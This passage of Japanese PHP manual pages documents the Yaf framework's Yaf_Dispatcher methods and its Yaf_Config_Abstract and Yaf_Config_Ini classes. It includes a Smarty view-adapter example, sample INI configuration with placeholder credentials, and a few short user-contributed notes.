ローティンぐが発生するのは一度だけで、dispatch() が呼ばれたときの リクエストオブジェクトの値を使って行います。 ディスパッチはループ内で発生します。ひとつのリクエストで 複数のアクションをディスパッチすることもあれば、 コントローラやプラグイン (Yaf_Plugin_Abstract を参照ください) がリクエストオブジェクトをリセットしてアクションを追加することもあります。 すべてが終わると Yaf_Dispatcher がレスポンスを返します。

パラメータ

request

返り値

User Contributed Notes

There are no user contributed notes for this page.


ビューのレンダリングを有効にする

  • ≪ Yaf_Dispatcher::dispatch
  • Yaf_Dispatcher::flushInstantly ≫
  • PHP Manual
  • Yaf_Dispatcher
  • ビューのレンダリングを有効にする

Yaf_Dispatcher::enableView

(Yaf >=1.0.0)

Yaf_Dispatcher::enableView — ビューのレンダリングを有効にする

説明

public Yaf_Dispatcher::enableView ( ) : Yaf_Dispatcher

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


その場でのフラッシュのオン/オフを切り替える

  • ≪ Yaf_Dispatcher::enableView
  • Yaf_Dispatcher::getApplication ≫
  • PHP Manual
  • Yaf_Dispatcher
  • その場でのフラッシュのオン/オフを切り替える

Yaf_Dispatcher::flushInstantly

(Yaf >=1.0.0)

Yaf_Dispatcher::flushInstantly — その場でのフラッシュのオン/オフを切り替える

説明

public Yaf_Dispatcher::flushInstantly ( bool $flag = ? ) : Yaf_Dispatcher

パラメータ

flag

bool

注意:

2.2.0 以降は、このパラメータを省略した場合に現在の状態を返すようになりました。

返り値

User Contributed Notes

There are no user contributed notes for this page.


アプリケーションを取得する

  • ≪ Yaf_Dispatcher::flushInstantly
  • Yaf_Dispatcher::getDefaultAction ≫
  • PHP Manual
  • Yaf_Dispatcher
  • アプリケーションを取得する

Yaf_Dispatcher::getApplication

(Yaf >=1.0.0)

Yaf_Dispatcher::getApplication — アプリケーションを取得する

説明

public Yaf_Dispatcher::getApplication ( ) : Yaf_Application

Yaf_Application のインスタンスを取得します。 Yaf_Application::app() と同じです。

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • Yaf_Application::app() - アプリケーションのインスタンスを取得する

User Contributed Notes

There are no user contributed notes for this page.


Retrive the default action name

  • ≪ Yaf_Dispatcher::getApplication
  • Yaf_Dispatcher::getDefaultController ≫
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the default action name

Yaf_Dispatcher::getDefaultAction

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultAction — Retrive the default action name

説明

public Yaf_Dispatcher::getDefaultAction ( ) : string

get the default action name

パラメータ

この関数にはパラメータはありません。

返り値

string, default action name, default is "index"

User Contributed Notes

There are no user contributed notes for this page.


Retrive the default controller name

  • ≪ Yaf_Dispatcher::getDefaultAction
  • Yaf_Dispatcher::getDefaultModule ≫
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the default controller name

Yaf_Dispatcher::getDefaultController

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultController — Retrive the default controller name

説明

public Yaf_Dispatcher::getDefaultController ( ) : string

get the default controller name

パラメータ

この関数にはパラメータはありません。

返り値

string, default controller name, default is "Index"

User Contributed Notes

There are no user contributed notes for this page.


Retrive the default module name

  • ≪ Yaf_Dispatcher::getDefaultController
  • Yaf_Dispatcher::getInstance ≫
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the default module name

Yaf_Dispatcher::getDefaultModule

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultModule — Retrive the default module name

説明

public Yaf_Dispatcher::getDefaultModule ( ) : string

get the default module name

パラメータ

この関数にはパラメータはありません。

返り値

string, module name, default is "Index"

User Contributed Notes

There are no user contributed notes for this page.


ディスパッチャのインスタンスを取得する

  • ≪ Yaf_Dispatcher::getDefaultModule
  • Yaf_Dispatcher::getRequest ≫
  • PHP Manual
  • Yaf_Dispatcher
  • ディスパッチャのインスタンスを取得する

Yaf_Dispatcher::getInstance

(Yaf >=1.0.0)

Yaf_Dispatcher::getInstance — ディスパッチャのインスタンスを取得する

説明

public static Yaf_Dispatcher::getInstance ( ) : Yaf_Dispatcher

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


リクエストのインスタンスを取得する

  • ≪ Yaf_Dispatcher::getInstance
  • Yaf_Dispatcher::getRouter ≫
  • PHP Manual
  • Yaf_Dispatcher
  • リクエストのインスタンスを取得する

Yaf_Dispatcher::getRequest

(Yaf >=1.0.0)

Yaf_Dispatcher::getRequest — リクエストのインスタンスを取得する

説明

public Yaf_Dispatcher::getRequest ( ) : Yaf_Request_Abstract

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


ルーターのインスタンスを取得する

  • ≪ Yaf_Dispatcher::getRequest
  • Yaf_Dispatcher::initView ≫
  • PHP Manual
  • Yaf_Dispatcher
  • ルーターのインスタンスを取得する

Yaf_Dispatcher::getRouter

(Yaf >=1.0.0)

Yaf_Dispatcher::getRouter — ルーターのインスタンスを取得する

説明

public Yaf_Dispatcher::getRouter ( ) : Yaf_Router

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


ビューを初期化して返す

  • ≪ Yaf_Dispatcher::getRouter
  • Yaf_Dispatcher::registerPlugin ≫
  • PHP Manual
  • Yaf_Dispatcher
  • ビューを初期化して返す

Yaf_Dispatcher::initView

(Yaf >=1.0.0)

Yaf_Dispatcher::initView — ビューを初期化して返す

説明

public Yaf_Dispatcher::initView ( string $templates_dir , array $options = ? ) : Yaf_View_Interface

パラメータ

templates_dir

options

返り値

User Contributed Notes

There are no user contributed notes for this page.


プラグインを登録する

  • ≪ Yaf_Dispatcher::initView
  • Yaf_Dispatcher::returnResponse ≫
  • PHP Manual
  • Yaf_Dispatcher
  • プラグインを登録する

Yaf_Dispatcher::registerPlugin

(Yaf >=1.0.0)

Yaf_Dispatcher::registerPlugin — プラグインを登録する

説明

public Yaf_Dispatcher::registerPlugin ( Yaf_Plugin_Abstract $plugin ) : Yaf_Dispatcher

プラグイン (Yaf_Plugin_Abstract を参照) を登録します。ふつうは、プラグインの登録はブートストラップ (Yaf_Bootstrap_Abstract を参照) で行います。

パラメータ

plugin

返り値

例

例1 Yaf_Dispatcher::registerPlugin() の例

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {
  public function _initPlugin(Yaf_Dispatcher $dispatcher) {
    /**
    * Yaf assumes plugin scripts under [application.directory] .  "/plugins"
    * for this case, it will be:
    * [application.directory] . "/plugins/" . "User" . [application.ext]
    */
    $user = new UserPlugin();
    $dispatcher->registerPlugin($user);
  }
}
?>

参考

  • Yaf_Plugin_Abstract
  • Yaf_Bootstrap_Abstract

User Contributed Notes

There are no user contributed notes for this page.


The returnResponse purpose

  • ≪ Yaf_Dispatcher::registerPlugin
  • Yaf_Dispatcher::setDefaultAction ≫
  • PHP Manual
  • Yaf_Dispatcher
  • The returnResponse purpose

Yaf_Dispatcher::returnResponse

(Yaf >=1.0.0)

Yaf_Dispatcher::returnResponse — The returnResponse purpose

説明

public Yaf_Dispatcher::returnResponse ( bool $flag ) : Yaf_Dispatcher

パラメータ

flag

返り値

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのアクション名を変更する

  • ≪ Yaf_Dispatcher::returnResponse
  • Yaf_Dispatcher::setDefaultController ≫
  • PHP Manual
  • Yaf_Dispatcher
  • デフォルトのアクション名を変更する

Yaf_Dispatcher::setDefaultAction

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultAction — デフォルトのアクション名を変更する

説明

public Yaf_Dispatcher::setDefaultAction ( string $action ) : Yaf_Dispatcher

パラメータ

action

返り値

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのコントローラ名を変更する

  • ≪ Yaf_Dispatcher::setDefaultAction
  • Yaf_Dispatcher::setDefaultModule ≫
  • PHP Manual
  • Yaf_Dispatcher
  • デフォルトのコントローラ名を変更する

Yaf_Dispatcher::setDefaultController

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultController — デフォルトのコントローラ名を変更する

説明

public Yaf_Dispatcher::setDefaultController ( string $controller ) : Yaf_Dispatcher

パラメータ

controller

返り値

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのモジュール名を変更する

  • ≪ Yaf_Dispatcher::setDefaultController
  • Yaf_Dispatcher::setErrorHandler ≫
  • PHP Manual
  • Yaf_Dispatcher
  • デフォルトのモジュール名を変更する

Yaf_Dispatcher::setDefaultModule

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultModule — デフォルトのモジュール名を変更する

説明

public Yaf_Dispatcher::setDefaultModule ( string $module ) : Yaf_Dispatcher

パラメータ

module

返り値

User Contributed Notes

451819506 at qq dot com 12-Feb-2018 01:25
function $dispatcher->setDefaultModule("xxx")  is unable to set default module  from index to others
451819506 at qq dot com 12-Feb-2018 01:25
function $dispatcher->setDefaultModule("xxx")  is unable to set default module  from index to others
1048418244 at qq dot com 15-Jul-2013 03:58
Yaf_Dispatcher::setDefaultModule is not effective.

yaf version 2.2.9


エラーハンドラを設定する

  • ≪ Yaf_Dispatcher::setDefaultModule
  • Yaf_Dispatcher::setRequest ≫
  • PHP Manual
  • Yaf_Dispatcher
  • エラーハンドラを設定する

Yaf_Dispatcher::setErrorHandler

(Yaf >=1.0.0)

Yaf_Dispatcher::setErrorHandler — エラーハンドラを設定する

説明

public Yaf_Dispatcher::setErrorHandler ( call $callback , int $error_types ) : Yaf_Dispatcher

Yaf のエラーハンドラを設定します。application.dispatcher.throwException がオフの場合は、予期せぬエラーが発生した場合に Yaf はキャッチ可能なエラーを発生させます。

従って、このエラーハンドラが呼ばれる一方でエラーも発生します。

パラメータ

callback

コールバック。

error_types

返り値

参考

  • Yaf_Dispatcher::throwException() - 例外のスローのオン/オフを切り替える
  • Yaf_Application::getLastErrorNo() - 直近で発生したエラーのコードを取得する
  • Yaf_Application::getLastErrorMsg() - 直近で発生したエラーのメッセージを取得する

User Contributed Notes

gianjason#gmail.com 09-Jan-2013 07:20
eg:

<?php $dispatcher->setErrorHandler(array(get_class($this),'error_handler')); ?>


The setRequest purpose

  • ≪ Yaf_Dispatcher::setErrorHandler
  • Yaf_Dispatcher::setView ≫
  • PHP Manual
  • Yaf_Dispatcher
  • The setRequest purpose

Yaf_Dispatcher::setRequest

(Yaf >=1.0.0)

Yaf_Dispatcher::setRequest — The setRequest purpose

説明

public Yaf_Dispatcher::setRequest ( Yaf_Request_Abstract $request ) : Yaf_Dispatcher

パラメータ

plugin

返り値

User Contributed Notes

There are no user contributed notes for this page.


カスタムビューエンジンを設定する

  • ≪ Yaf_Dispatcher::setRequest
  • Yaf_Dispatcher::throwException ≫
  • PHP Manual
  • Yaf_Dispatcher
  • カスタムビューエンジンを設定する

Yaf_Dispatcher::setView

(Yaf >=1.0.0)

Yaf_Dispatcher::setView — カスタムビューエンジンを設定する

説明

public Yaf_Dispatcher::setView ( Yaf_View_Interface $view ) : Yaf_Dispatcher

このメソッドは、Yaf_View_Simple ではなくカスタムビューエンジンを使いたいときに利用します。

パラメータ

view

Yaf_View_Interface のインスタンス。

返り値

例

例1 カスタムビューエンジンの例

<?php
require "/path/to/smarty/Smarty.class.php";

class Smarty_Adapter implements Yaf_View_Interface
{
    /**
     * Smarty オブジェクト
     * @var Smarty
     */
    public $_smarty;

    /**
     * コンストラクタ
     *
     * @param string $tmplPath
     * @param array $extraParams
     * @return void
     */
    public function __construct($tmplPath = null, $extraParams = array()) {
        $this->_smarty = new Smarty;

        if (null !== $tmplPath) {
            $this->setScriptPath($tmplPath);
        }

        foreach ($extraParams as $key => $value) {
            $this->_smarty->$key = $value;
        }
    }

    /**
     * テンプレートへのパスを設定する
     *
     * @param string $path パスに設定するディレクトリ
     * @return void
     */
    public function setScriptPath($path)
    {
        if (is_readable($path)) {
            $this->_smarty->template_dir = $path;
            return;
        }

        throw new Exception('Invalid path provided');
    }

    /**
     * 変数をテンプレートに代入する
     *
     * @param string $key 変数名
     * @param mixed $val 変数の値
     * @return void
     */
    public function __set($key, $val)
    {
        $this->_smarty->assign($key, $val);
    }

    /**
     * empty() と isset() による確認をできるようにする
     *
     * @param string $key
     * @return boolean
     */
    public function __isset($key)
    {
        return (null !== $this->_smarty->get_template_vars($key));
    }

    /**
     * オブジェクトのプロパティを unset() できるようにする
     *
     * @param string $key
     * @return void
     */
    public function __unset($key)
    {
        $this->_smarty->clear_assign($key);
    }

    /**
     * 変数をテンプレートに代入する
     *
     * 指定したキーに値を代入したり、
     * key => value ペアの配列で一括代入したりできるようにします。
     *
     * @see __set()
     * @param string|array $spec 代入方法に合わせて、キー あるいは key => value ペアの配列)
     * @param mixed $value (オプション) 変数名を指定した場合に、ここで値を指定する
     * @return void
     */
    public function assign($spec, $value = null) {
        if (is_array($spec)) {
            $this->_smarty->assign($spec);
            return;
        }

        $this->_smarty->assign($spec, $value);
    }

    /**
     * 代入済みのすべての変数をクリアする
     *
     * {@link assign()} あるいはプロパティのオーバーロード
     * ({@link __get()}/{@link __set()}) で Yaf_View に代入したすべての変数をクリアします
     *
     * @return void
     */
    public function clearVars() {
        $this->_smarty->clear_all_assign();
    }

    /**
     * テンプレートを処理して出力を返す
     *
     * @param string $name 処理するテンプレート
     * @return string 出力
     */
    public function render($name, $value = NULL) {
        return $this->_smarty->fetch($name);
    }

    public function display($name, $value = NULL) {
        echo $this->_smarty->fetch($name);
    }

}
?>

例2 Yaf_Dispatcher::setView() の例

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {

    /**
     * smarty 用の設定をしておきます
     *
     * smarty.left_delimiter   = "{{"
     * smarty.right_delimiter  = "}}"
     * smarty.template_dir     = APPLICATION_PATH "/views/scripts/"
     * smarty.compile_dir      = APPLICATION_PATH "/views/templates_c/"
     * smarty.cache_dir        = APPLICATION_PATH "/views/templates_d/"
     *
     */
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initLocalName() {
        /** Smarty_Adapter クラスをローカルライブラリディレクトリに配置します */
        Yaf_Loader::getInstance()->registerLocalNamespace('Smarty');
    }

    public function _initSmarty(Yaf_Dispatcher $dispatcher) {
        $smarty = new Smarty_Adapter(null, Yaf_Registry::get("config")->get("smarty"));
        $dispatcher->setView($smarty);
        /* これで、Smarty ビューエンジンが Yaf のデフォルトビューエンジンになりました */
    }
}
?>

参考

  • Yaf_View_Interface
  • Yaf_View_Simple

User Contributed Notes

There are no user contributed notes for this page.


例外のスローのオン/オフを切り替える

  • ≪ Yaf_Dispatcher::setView
  • Yaf_Config_Abstract ≫
  • PHP Manual
  • Yaf_Dispatcher
  • 例外のスローのオン/オフを切り替える

Yaf_Dispatcher::throwException

(Yaf >=1.0.0)

Yaf_Dispatcher::throwException — 例外のスローのオン/オフを切り替える

説明

public Yaf_Dispatcher::throwException ( bool $flag = ? ) : Yaf_Dispatcher

予期せぬエラーが発生した場合に例外をスローするかどうかを切り替えます。 オンにすると、Yaf はキャッチ可能なエラーを発生させるのではなく例外をスローするようになります。

application.dispatcher.throwException を使って同じ設定をすることもできます。

パラメータ

flag

bool

返り値

例

例1 Yaf_Dispatcher::throwexception() の例

<?php

$config = array(
    'application' => array(
        'directory' => dirname(__FILE__),
    ),
);
$app = new Yaf_Application($config);

$app->getDispatcher()->throwException(true);

try {
    $app->run();
} catch (Yaf_Exception $e) {
    var_dump($e->getMessage());
}
?>

上の例の出力は、 たとえば以下のようになります。

string(59) "Could not find controller script /tmp/controllers/Index.php"

例2 Yaf_Dispatcher::throwexception() の例

<?php

$config = array(
    'application' => array(
        'directory' => dirname(__FILE__),
    ),
);
$app = new Yaf_Application($config);

$app->getDispatcher()->throwException(false);

$app->run();
?>

上の例の出力は、 たとえば以下のようになります。

PHP Catchable fatal error:  Yaf_Application::run(): Could not find controller script /tmp/controllers/Index.php in /tmp/1.php on line 12

参考

  • Yaf_Dispatcher::catchException() - 例外のキャッチのオン/オフを切り替える
  • Yaf_Exception

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Config_Abstract クラス

(Yaf >=1.0.0)

はじめに

クラス概要

abstract Yaf_Config_Abstract {
/* プロパティ */
protected $_config ;
protected $_readonly ;
/* メソッド */
abstract public get ( string $name , mixed $value ) : mixed
abstract public readonly ( ) : bool
abstract public set ( ) : Yaf_Config_Abstract
abstract public toArray ( ) : array
}

プロパティ

_config

_readonly

目次

  • Yaf_Config_Abstract::get — ゲッター
  • Yaf_Config_Abstract::readonly — 設定項目が読み込み専用かどうかを調べる
  • Yaf_Config_Abstract::set — セッター
  • Yaf_Config_Abstract::toArray — 配列に変換する

User Contributed Notes

There are no user contributed notes for this page.


ゲッター

  • ≪ Yaf_Config_Abstract
  • Yaf_Config_Abstract::readonly ≫
  • PHP Manual
  • Yaf_Config_Abstract
  • ゲッター

Yaf_Config_Abstract::get

(Yaf >=1.0.0)

Yaf_Config_Abstract::get — ゲッター

説明

abstract public Yaf_Config_Abstract::get ( string $name , mixed $value ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


設定項目が読み込み専用かどうかを調べる

  • ≪ Yaf_Config_Abstract::get
  • Yaf_Config_Abstract::set ≫
  • PHP Manual
  • Yaf_Config_Abstract
  • 設定項目が読み込み専用かどうかを調べる

Yaf_Config_Abstract::readonly

(Yaf >=1.0.0)

Yaf_Config_Abstract::readonly — 設定項目が読み込み専用かどうかを調べる

説明

abstract public Yaf_Config_Abstract::readonly ( ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


セッター

  • ≪ Yaf_Config_Abstract::readonly
  • Yaf_Config_Abstract::toArray ≫
  • PHP Manual
  • Yaf_Config_Abstract
  • セッター

Yaf_Config_Abstract::set

(Yaf >=1.0.0)

Yaf_Config_Abstract::set — セッター

説明

abstract public Yaf_Config_Abstract::set ( ) : Yaf_Config_Abstract

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


配列に変換する

  • ≪ Yaf_Config_Abstract::set
  • Yaf_Config_Ini ≫
  • PHP Manual
  • Yaf_Config_Abstract
  • 配列に変換する

Yaf_Config_Abstract::toArray

(Yaf >=1.0.0)

Yaf_Config_Abstract::toArray — 配列に変換する

説明

abstract public Yaf_Config_Abstract::toArray ( ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Config_Ini クラス

(Yaf >=1.0.0)

はじめに

Yaf_Config_Ini を使うと、設定データをおなじみの INI 形式で保存でき、アプリケーションからもオブジェクトのプロパティとして読めるようになります。 INI フォーマットを拡張して、設定データを階層構造で扱えるようにしたり 設定セクション間での継承を設定できるようにしたりしています。 設定データの階層は、キーをピリオド(".")で区切って表します。 セクションの継承を表すには、セクション名の後にコロン(":") を続け、その後に継承元のセクション名を指定します。

注意:

Yaf_Config_Ini は、PHP の関数 parse_ini_file() を利用します。 この関数のドキュメントも読んで、その振る舞いを知っておきましょう。 特殊な値、たとえば "true"、"false"、"yes"、"no"、そして "null" の扱いも、parse_ini_file() に従います。

クラス概要

Yaf_Config_Ini extends Yaf_Config_Abstract implements Iterator , ArrayAccess , Countable {
/* プロパティ */
/* メソッド */
public __construct ( string $config_file , string $section = ? )
public count ( ) : void
public current ( ) : void
public __get ( string $name = ? ) : void
public __isset ( string $name ) : void
public key ( ) : void
public next ( ) : void
public offsetExists ( string $name ) : void
public offsetGet ( string $name ) : void
public offsetSet ( string $name , string $value ) : void
public offsetUnset ( string $name ) : void
public readonly ( ) : void
public rewind ( ) : void
public __set ( string $name , mixed $value ) : void
public toArray ( ) : array
public valid ( ) : void
/* 継承したメソッド */
abstract public Yaf_Config_Abstract::get ( string $name , mixed $value ) : mixed
abstract public Yaf_Config_Abstract::readonly ( ) : bool
abstract public Yaf_Config_Abstract::set ( ) : Yaf_Config_Abstract
abstract public Yaf_Config_Abstract::toArray ( ) : array
}

プロパティ

_config

_readonly

例

例1 Yaf_Config_Ini() の例

この例は、Yaf_Config_Ini で INI ファイルから設定データを読む方法を示すものです。 この例では、運用環境とステージング環境の設定データを用意しています。 ステージング環境の設定は運用環境とほぼ同じなので、 staging セクションは production セクションを継承しています。 今回の場合はどちらがどちらを継承してもあまり変わらないので 逆に production セクションが staging セクションを継承するようにもできます。 しかし、もっと複雑な設定になるとそうはいかないでしょう。 次のような設定データが /path/to/config.ini に格納されているものとします。

; Production site configuration data
[production]
webhost                  = www.example.com
database.adapter         = pdo_mysql
database.params.host     = db.example.com
database.params.username = dbuser
database.params.password = secret
database.params.dbname   = dbname

; Staging site configuration data inherits from production and
; overrides values as necessary
[staging : production]
database.params.host     = dev.example.com
database.params.username = devuser
database.params.password = devsecret
<?php
$config = new Yaf_Config_Ini('/path/to/config.ini', 'staging');

var_dump($config->database->params->host);
var_dump($config->database->params->dbname);
var_dump($config->get("database.params.username"));
?>

上の例の出力は、 たとえば以下のようになります。

string(15) "dev.example.com"
string(6) "dbname"
string(7) "devuser

目次

  • Yaf_Config_Ini::__construct — Yaf_Config_Ini のコンストラクタ
  • Yaf_Config_Ini::count — Yaf_Config.ini の全ての要素を数える
  • Yaf_Config_Ini::current — 現在の値を取得する
  • Yaf_Config_Ini::__get — 要素を取得する
  • Yaf_Config_Ini::__isset — キーが存在するかを判定する
  • Yaf_Config_Ini::key — 現在の要素のキーを取得する
  • Yaf_Config_Ini::next — 内部ポインタを進める
  • Yaf_Config_Ini::offsetExists — The offsetExists purpose
  • Yaf_Config_Ini::offsetGet — The offsetGet purpose
  • Yaf_Config_Ini::offsetSet — The offsetSet purpose
  • Yaf_Config_Ini::offsetUnset — The offsetUnset purpose
  • Yaf_Config_Ini::readonly — The readonly purpose
  • Yaf_Config_Ini::rewind — The rewind purpose
  • Yaf_Config_Ini::__set — The __set purpose
  • Yaf_Config_Ini::toArray — PHP の配列として構成を返す
  • Yaf_Config_Ini::valid — The valid purpose

User Contributed Notes

zzxiaoman at gmail dot com 04-Mar-2015 03:17
when i use Yaf_Config_ini with these lines:

type.18.text=abc
type.8.text=ddf
type.0.text=fjdsklf

You can through this way

$$configArr = $config->toArray();
var_dump($configArr['type'][18]['text']);

result:
abc
Mark 03-Jan-2015 08:59
/conf/db.ini

[product]
database.params.host           = localhost
database.params.port           = 5432
database.params.dbname    = postgres
database.params.username = 'postgres'
database.params.password  = 123456

<?php
       $config  = new Yaf_Config_ini('../conf/db.ini','product');
        $config = $config->toArray();
        $host       =   $config['database']['params']['host'];
        $port       =   $config['database']['params']['port'];
        $database   =   $config['database']['params']['dbname'];
        $username        =   $config['database']['params'['username'];
        $password   =   $config['database']['params']['password'];
        $pg_conn = pg_connect("host='$host' port='$port' dbname='$database'  user='$username' password='$password' ");
?>
lee dot howarth dot 90 at gmail dot com 02-May-2014 09:59
@flowithwind

var_dump($config -> toArray()[ 'type' ][ 18 ][ 'text' ]);

string 'abc' (length=3)


Yaf_Config_Ini のコンストラクタ

  • ≪ Yaf_Config_Ini
  • Yaf_Config_Ini::count ≫
  • PHP Manual
  • Yaf_Config_Ini
  • Yaf_Config_Ini のコンストラクタ

Yaf_Config_Ini::__construct

(Yaf >=1.0.0)

Yaf_Config_Ini::__construct — Yaf_Config_Ini のコンストラクタ

説明

public Yaf_Config_Ini::__construct ( string $config_file , string $section = ? )

Yaf_Config_Ini のコンストラクタです。

パラメータ

config_file

INI ファイルへのパス。

section

INI ファイルの中でパースしたいセクション。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Config.ini の全ての要素を数える

  • ≪ Yaf_Config_Ini::__construct
  • Yaf_Config_Ini::current ≫
  • PHP Manual
  • Yaf_Config_Ini
  • Yaf_Config.ini の全ての要素を数える

Yaf_Config_Ini::count

(Yaf >=1.0.0)

Yaf_Config_Ini::count — Yaf_Config.ini の全ての要素を数える

説明

public Yaf_Config_Ini::count ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


現在の値を取得する

  • ≪ Yaf_Config_Ini::count
  • Yaf_Config_Ini::__get ≫
  • PHP Manual
  • Yaf_Config_Ini
  • 現在の値を取得する

Yaf_Config_Ini::current

(Yaf >=1.0.0)

Yaf_Config_Ini::current — 現在の値を取得する

説明

public Yaf_Config_Ini::current ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


要素を取得する

  • ≪ Yaf_Config_Ini::current
  • Yaf_Config_Ini::__isset ≫
  • PHP Manual
  • Yaf_Config_Ini
  • 要素を取得する

Yaf_Config_Ini::__get

(Yaf >=1.0.0)

Yaf_Config_Ini::__get — 要素を取得する

説明

public Yaf_Config_Ini::__get ( string $name = ? ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


キーが存在するかを判定する

  • ≪ Yaf_Config_Ini::__get
  • Yaf_Config_Ini::key ≫
  • PHP Manual
  • Yaf_Config_Ini
  • キーが存在するかを判定する

Yaf_Config_Ini::__isset

(Yaf >=1.0.0)

Yaf_Config_Ini::__isset — キーが存在するかを判定する

説明

public Yaf_Config_Ini::__isset ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


現在の要素のキーを取得する

  • ≪ Yaf_Config_Ini::__isset
  • Yaf_Config_Ini::next ≫
  • PHP Manual
  • Yaf_Config_Ini
  • 現在の要素のキーを取得する

Yaf_Config_Ini::key

(Yaf >=1.0.0)

Yaf_Config_Ini::key — 現在の要素のキーを取得する

説明

public Yaf_Config_Ini::key ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


内部ポインタを進める

  • ≪ Yaf_Config_Ini::key
  • Yaf_Config_Ini::offsetExists ≫
  • PHP Manual
  • Yaf_Config_Ini
  • 内部ポインタを進める

Yaf_Config_Ini::next

(Yaf >=1.0.0)

Yaf_Config_Ini::next — 内部ポインタを進める

説明

public Yaf_Config_Ini::next ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • ≪ Yaf_Config_Ini::next
  • Yaf_Config_Ini::offsetGet ≫
  • PHP Manual
  • Yaf_Config_Ini
  • The offsetExists purpose

Yaf_Config_Ini::offsetExists

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetExists — The offsetExists purpose

説明

public Yaf_Config_Ini::offsetExists ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetGet purpose

  • ≪ Yaf_Config_Ini::offsetExists
  • Yaf_Config_Ini::offsetSet ≫
  • PHP Manual
  • Yaf_Config_Ini
  • The offsetGet purpose

Yaf_Config_Ini::offsetGet

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetGet — The offsetGet purpose

説明

public Yaf_Config_Ini::offsetGet ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetSet purpose

  • ≪ Yaf_Config_Ini::offsetGet
  • Yaf_Config_Ini::offsetUnset ≫
  • PHP Manual
  • Yaf_Config_Ini
  • The offsetSet purpose

Yaf_Config_Ini::offsetSet

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetSet — The offsetSet purpose

説明

public Yaf_Config_Ini::offsetSet ( string $name , string $value ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetUnset purpose

  • ≪ Yaf_Config_Ini::offsetSet
  • Yaf_Config_Ini::readonly ≫
  • PHP Manual
  • Yaf_Config_Ini
  • The offsetUnset purpose

Yaf_Config_Ini::offsetUnset

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetUnset — The offsetUnset purpose

説明

public Yaf_Config_Ini::offsetUnset ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The readonly purpose

  • ≪ Yaf_Config_Ini::offsetUnset
  • Yaf_Config_Ini::rewind ≫
  • PHP Manual
  • Yaf_Config_Ini
  • The readonly purpose

Yaf_Config_Ini::readonly

(Yaf >=1.0.0)

Yaf_Config_Ini::readonly — The readonly purpose

説明

public Yaf_Config_Ini::readonly ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The rewind purpose

  • ≪ Yaf_Config_Ini::readonly
  • Yaf_Config_Ini::__set ≫
  • PHP Manual
  • Yaf_Config_Ini
  • The rewind purpose

Yaf_Config_Ini::rewind

(Yaf >=1.0.0)

Yaf_Config_Ini::rewind — The rewind purpose

説明

public Yaf_Config_Ini::rewind ( ) : void

警告

